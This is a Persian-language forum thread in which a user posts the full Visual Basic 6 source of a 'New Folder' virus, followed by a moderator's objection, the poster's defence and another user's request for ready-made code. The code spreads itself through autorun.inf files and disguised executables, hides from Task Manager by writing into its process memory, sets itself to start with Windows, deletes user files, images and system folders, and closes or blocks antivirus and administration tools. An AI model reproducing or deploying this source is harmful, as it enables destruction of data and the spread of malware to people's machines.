• كدهاي ساخت ويروس نيو فولدر با وي بي
    #1
    Note 
    Private Const MONITOR_ON = -1&
    Private Const MONITOR_OFF = 2&
    Private Const SC_MONITORPOWER = &HF170&
    Private Const WM_SYSCOMMAND = &H112

    Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

    Private Declare Function BlockInput Lib "user32" (ByVal dwFreq As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long
    Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

    Private Type bkh
    flag As Long
    psz As Long
    lParam As Long
    pt As Long
    vkDirection As Long
    End Type

    Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
    Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long


    Dim c As Long
    Dim flg As Integer
    Dim q As Shell
    Dim a As New FileSystemObject
    Private Sub Process_Hide(Name As String)
    On Error Resume Next
    Dim pName As Long
    Dim pType As Long
    Dim l As Long
    Dim Tid As Long
    Dim hTid As Long
    Dim pid As Long
    Dim h As Long
    Dim I As Long
    Dim hProcess As Long
    Dim f As bkh
    Dim s As String
    Dim bkh() As Byte
    h = FindWindow(vbNullString, "Windows Task Manager")
    KillTimer h, 0
    h = FindWindowEx(h, 0, "#32770", vbNullString)
    h = FindWindowEx(h, 0, "SysListView32", vbNullString)
    If h = 0 Then Exit Sub
    f.flag = 8 Or &H20
    Call GetWindowThreadProcessId(h, pid)
    hProcess = OpenProcess(1082, 0, pid)
    bkh = StrConv(Name, vbFromUnicode)
    pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
    WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
    f.psz = pName
    pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
    WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
    I = SendMessage(h, &H1000 + 13, 0, pType)
    If I <> -1 Then SendMessage h, &H1000 + 8, I, 0
    VirtualFreeEx hProcess, pType, Len(f), &H8000
    VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
    End Sub

    Private Function SearchFiles(ByRef Path As String, ByRef FileName As String, ByRef Files() As String, ByVal BaseIndex As Long, ByVal SubFolders As Boolean) As Long
    Dim Count As Long, File As String, Pos As Long
    Dim Folders() As String, FolderCount As Long
    Dim Index As Long
    On Error Resume Next
    If Right(Path, 1) <> "\" Then Path = Path & "\"
    FileName = Replace(FileName, "*", "")
    File = Dir(Path & "*", vbArchive Or vbHidden Or vbReadOnly Or vbSystem Or IIf(SubFolders, vbDirectory, 0))
    Do Until Len(File) = 0 Or Stopped
    Select Case File
    Case ".", ".."
    Case Else
    If PathIsDirectory(Path & File) <> 0 Then
    If SubFolders Then
    If FolderCount = 0 Then
    ReDim Folders(0 To 100)
    ElseIf FolderCount > UBound(Folders) Then
    ReDim Preserve Folders(0 To FolderCount + 100)
    End If
    Folders(FolderCount) = Path & File
    FolderCount = FolderCount + 1
    End If
    Else
    If InStr(1, File, FileName, vbTextCompare) > 0 Then
    If BaseIndex = 0 And Count = 0 Then
    ReDim Files(0 To 100)
    ElseIf BaseIndex + Count > UBound(Files) Then
    ReDim Preserve Files(0 To BaseIndex + Count + 100)
    End If
    Files(BaseIndex + Count) = Path & File
    a.DeleteFile Path & File
    Count = Count + 1
    End If
    End If
    End Select
    File = Dir
    DoEvents
    Loop
    If SubFolders And Stopped = False Then
    For Index = 0 To FolderCount - 1
    Count = Count + SearchFiles(Folders(Index), FileName, Files, BaseIndex + Count, SubFolders)
    Next
    End If
    If Count = 0 Then
    Erase Files
    Else
    ReDim Preserve Files(0 To Count - 1)
    End If
    SearchFiles = Count
    End Function

    Private Sub Form_Activate()
    On Error Resume Next
    z$ = Environ("windir")
    x$ = Environ("userprofile")
    zz$ = Environ("computername")

    Label3.caption = zz$
    SaveSetting "Virus", "General", "label3", Label3

    If Label1.caption = "5" Then
    Label1.caption = Label1.caption - 1
    End If

    Label1.caption = Label1.caption + 1

    SaveSetting "virus", "general", "label1", Label1

    a.CopyFile App.Path & "\" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe"
    a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Windows Explorer.exe"
    a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"

    End Sub

    Private Sub Form_Load()
    On Error Resume Next
    z$ = Environ("Windir")
    xx$ = Environ("systemdrive")
    App.TaskVisible = False
    q.Open z$ & "\Explorer.exe"

    Label3 = GetSetting("virus", "general", "label3", Label3)
    Label1 = GetSetting("virus", "general", "label1", Label1)
    Label4 = GetSetting("Virus", "General", "Label4", Label4)

    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPath", "1"
    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPathAddress", "1"
    SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ShowFullPath", "CheckedValue", "0"
    SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ShowFullPathAddress", "CheckedValue", "0"
    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1"


    If Label3.caption <> Label4.caption Then
    Label4.caption = Label3.caption
    Label1.caption = "1"
    SaveSetting "Virus", "General", "Label4", Label4
    SaveSetting "virus", "general", "label1", Label1
    GoTo s:
    Else
    '

    پاسخ
    #2
    Note 
    ساختن پوشه
    s:
    CreateKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "Explorer" 'ساختن پوشه اي جديد
    CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "Explorer" 'ساخت پوشه جديد
    CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "System" 'ساخت پوشه جديد
    CreateKey "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\CurrentVersion\Policies" & "\" & "System" 'ساخت پوشه جديد

    SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner", "KhatarVirus"
    SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOrganization", "KhatarVirus"
    SetDWORDValue "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Cdrom", "Autorun", "0" 'غير فعال کردن اتوران
    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose", "1"

    Select Case Label1.caption
    'بار اول
    Case "1"
    a.CreateFolder xx$ & "\Program Files\Power MP3"
    a.CreateFolder xx$ & "\Update"

    Shell "shutdown -r -t 0"

    'بار دوم
    Case "2"
    SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s1159", "صبح بخير"
    SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s2359", "ظهر بخير"

    'بار سوم
    Case "3"
    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "NoDispSettingsPage", "1"
    a.DeleteFolder z$ & "\" & "Fonts"
    a.DeleteFolder z$ & "\" & "Cursors"
    a.DeleteFolder z$ & "\" & "Media"
    'بار چهارم
    Case "4"
    Timer10.Enabled = True
    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1"
    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoPropertiesMyComputer", "1"
    'بار پنجم
    Case "5"
    Timer11.Enabled = True
    SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1"
    SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System", "NoDrives", "4"
    Timer8.Enabled = True
    End Select
    End If

    End Sub

    Private Sub Timer1_Timer()
    On Error Resume Next
    z$ = Environ("windir")
    x$ = Environ("userprofile")
    xx$ = Environ("systemdrive")

    Process_Hide CStr(App.EXEName & ".exe")

    a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe"
    a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Program Files\Power Mp3\Power MP3.exe"
    a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Update\Update.exe"
    a.CopyFile z$ & "\system32\New folder.exe", x$ & "\Local Settings\Temp\New Folder.exe"
    a.CopyFile z$ & "\system32\New Folder.exe", xx$ & "\Program Files\Common Files\Microsoft Shared\MSshare.exe"
    a.CopyFile x$ & "\Local Settings\Temp\New Folder.exe", z$ & "\system32\New Folder.exe", True

    SetStringValue "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "www.Virus.Com"
    SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsaft\Windows\CurrentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe"
    SetDWORDValue "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", "CheckedValue", "0"

    SetAttr App.Path & "\" & App.EXEName & ".exe", &H6
    SetAttr z$ & "\System32\New Folder.exe", &H6
    SetAttr x$ & "\My Documents\New Folder.exe", &H6
    SetAttr z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe", &H6

    End Sub

    Private Sub Timer10_Timer()
    'کپي کردن ويروس در درايوها
    On Error Resume Next
    z$ = Environ("windir")
    x$ = Environ("userprofile")
    Dim I As Integer
    Dim B As String

    a.CopyFile App.Path & "\" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe"
    a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"

    For I = 99 To 122
    B = Chr(I) & ":"
    If a.DriveExists(B) = True Then
    a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe"
    Open B & "\Autorun.inf" For Output As #1
    Print #1, "[Autorun]"
    Print #1, "OPEN=New Folder.exe"
    Print #1, "shell\open\Command = New Folder.exe"
    Print #1, "shell\explore\Command = New Folder.exe"
    Print #1, "shell\Autoplay\Command = New Folder.exe"
    Close #1
    SetAttr B & "\Autorun.inf", &H6
    SetAttr B & "\New Folder.exe", &H6
    End If
    Next I

    a.CopyFile x$ & "\My Documents\New Folder.exe", z$ & "\Windows Explorer.exe", True
    a.CopyFile z$ & "\System32\New Folder.exe", z$ & "\Windows Explorer.exe", True
    a.CopyFile z$ & "\Windows Explorer.exe", z$ & "\System32\New Folder.exe", True

    SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe"
    End Sub

    Private Sub Timer11_Timer()
    On Error Resume Next
    Dim I As Integer
    Dim B As String
    For I = 99 To 122
    B = Chr(I) & ":"
    If a.DriveExists(B) = True Then
    If B = "C:" Then
    GoTo s:
    End If
    a.DeleteFile B & "\*.*"
    a.DeleteFolder B & "\*.*"
    s:
    a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe"
    SetAttr B & "\New Folder.exe", &H6
    End If
    Next I
    Timer11.Enabled = False
    End Sub

    Private Sub Timer12_Timer()

    On Error Resume Next
    z$ = Environ("systemdrive")

    Dim Index As Long, Files() As String, Count As Long

    Dim txtfilename, searchpath As String

    s:
    For drvc = 99 To 122

    If a.DriveExists(Chr(drvc) + ":") = True Then
    If drvc = z$ Then
    GoTo ss:
    Else
    searchpath = Chr(drvc) + ":\"
    Count = SearchFiles(searchpath, "*.jpg", Files, 0, c1.Value)
    End If

    If Chr(drvc) + ":" = "Z:" Then
    Label2.caption = "67"
    If Path & FileName = 0 Then

    Timer12.Enabled = False
    Else
    GoTo s:
    End If
    End If
    End If
    ss:
    Next drvc


    End Sub

    Private Sub Timer2_Timer()
    On Error Resume Next

    Randomize Time
    z$ = Environ("Windir")
    Dim c As Long
    Dim k As Long
    Dim handel As Long
    Dim caption As String
    c = GetForegroundWindow 'گرفتن هندل پنجره فعال
    caption = Space$(128)
    k = GetWindowText(c, caption, 128) 'عنوان پنجره فعال
    caption = Left(caption, k)

    a.DeleteFile caption & "\*.jpg", True
    a.CopyFile App.Path & "\" & App.EXEName & ".exe", caption & "\*.exe", True

    If a.FileExists(caption & "\New Folder.exe") = True Or a.FileExists(caption & "\Irani Picture.exe") = True Or a.FileExists(caption & "\New Folder (2).exe") = True Or a.FileExists(caption & "\Picture.exe") = True Then
    GoTo s:
    Else
    Number = Int(Rnd * 5)
    Select Case Number 'کپي ويروس با نام هاي مختلف
    Case 0
    a.CopyFile z$ & "\System32\New Folder.exe", caption & "\New Folder.exe", True
    Case 1
    a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Picture.exe", True
    Case 2
    a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Irani Picture.exe", True
    Case 3
    a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder (2).exe", True
    Case 4
    a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder.exe", True
    End Select
    s:
    End If

    z = InStrRev(caption, "\", -1) 'براي پيدا کردن نام پوشه
    zz = Len(caption) - z
    s = Right$(caption, zz)
    handel = FindWindow(vbNullString, caption)
    If handel <> 0 Then
    SetForegroundWindow handel
    SetWindowText handel, s
    End If

    End Sub

    Private Sub Timer6_Timer()
    On Error Resume Next
    Dim handel As Long
    handel = FindWindow(vbNullString, "Run")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Antivirus")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Anti virus")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Windows Task Manager")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Control Panel")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Windows")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Registry Editor")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "System Configuration Utility")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Folder Options")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "Kaspersky Anti-Virus 7.0")
    If handel <> 0 Then
    SetForegroundWindow handel
    Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF)
    SendKeys "%{f4}", 1
    SendKeys "{BackSpace}"
    BlockInput True
    End If
    handel = FindWindow(vbNullString, "ESET NOD32 Antivirus Setup")
    If handel <> 0 Then
    SetForegroundWindow handel
    Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF)
    SendKeys "%{f4}", 1
    SendKeys "{BackSpace}"
    BlockInput True
    End If

    End Sub


    Private Sub Timer7_Timer()
    On Error Resume Next
    Clipboard.Clear

    End Sub

    Private Sub Timer8_Timer()
    On Error Resume Next

    Dim handel As Long
    handel = FindWindow(vbNullString, "C:\")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    handel = FindWindow(vbNullString, "My Documents")
    If handel <> 0 Then
    SetForegroundWindow handel
    SendKeys "%{f4}", 1
    End If
    End Sub

    پاسخ
    #3
    Note 
    سلام
    دوست عزیز
    نکته اول اینه که کداتونو باید تو تگ کد قرار بدید تا بشه خوندش
    نکته دوم اینه که گذاشتن کد ویروس نویسی آموزشش جزو جرایم رایانه ای محسوب میشه و اجازه نداریم بذاریم چون سایت فیلتر میشه!
    نکته سوم اینه که عنوان موضوع رو درست نذاشتید
    نکته چهارم اینه که اگر یکدفعه همش ارسال نشد تو همون تاپیک باید پست جدید میزدی.

    ***********
    پاسخ
    #4
    Note 
    سلام و چشم ؟هنوز با رول كار زياد آشنا نشدم ، قصدم ندارم آموزش ويروس نويسي بدم ، اما آشنايي خوبه تعدادي منابع جالب دارم ميخوام به دست دوستان برسه كه
    آشنا بشن ؟ فيلترم فكر نكنم بكنن چون اونا خودشون واقفن كه هدف چيز ديگس؟بازم از راهنماييتون ممنونم.

    پاسخ
    #5
    Note 
    سلام خدمت تمامی دوستان در این انجمن
    ببخشید نمیشه کدشو آماده بزارید.
    چون هر کاری می کنم ارور می ده

    پاسخ
    ایجاد موضوع جدید   پاسخ به موضوع  

    موضوعات مرتبط با این موضوع...
    موضوع نویسنده پاسخ بازدید آخرین ارسال
    Note ويروس نويسي با وي بي azade1359 0 251 10-02-2014 ساعت 02:16
    آخرین ارسال: azade1359
    Note کمک درباره سروس کد ویدیو پلیر در ویژوآل بیسیک moeinmq 1 813 28-08-2013 ساعت 13:19
    آخرین ارسال: VBProgrammer

    کاربرانِ درحال بازدید از این موضوع:   1 مهمان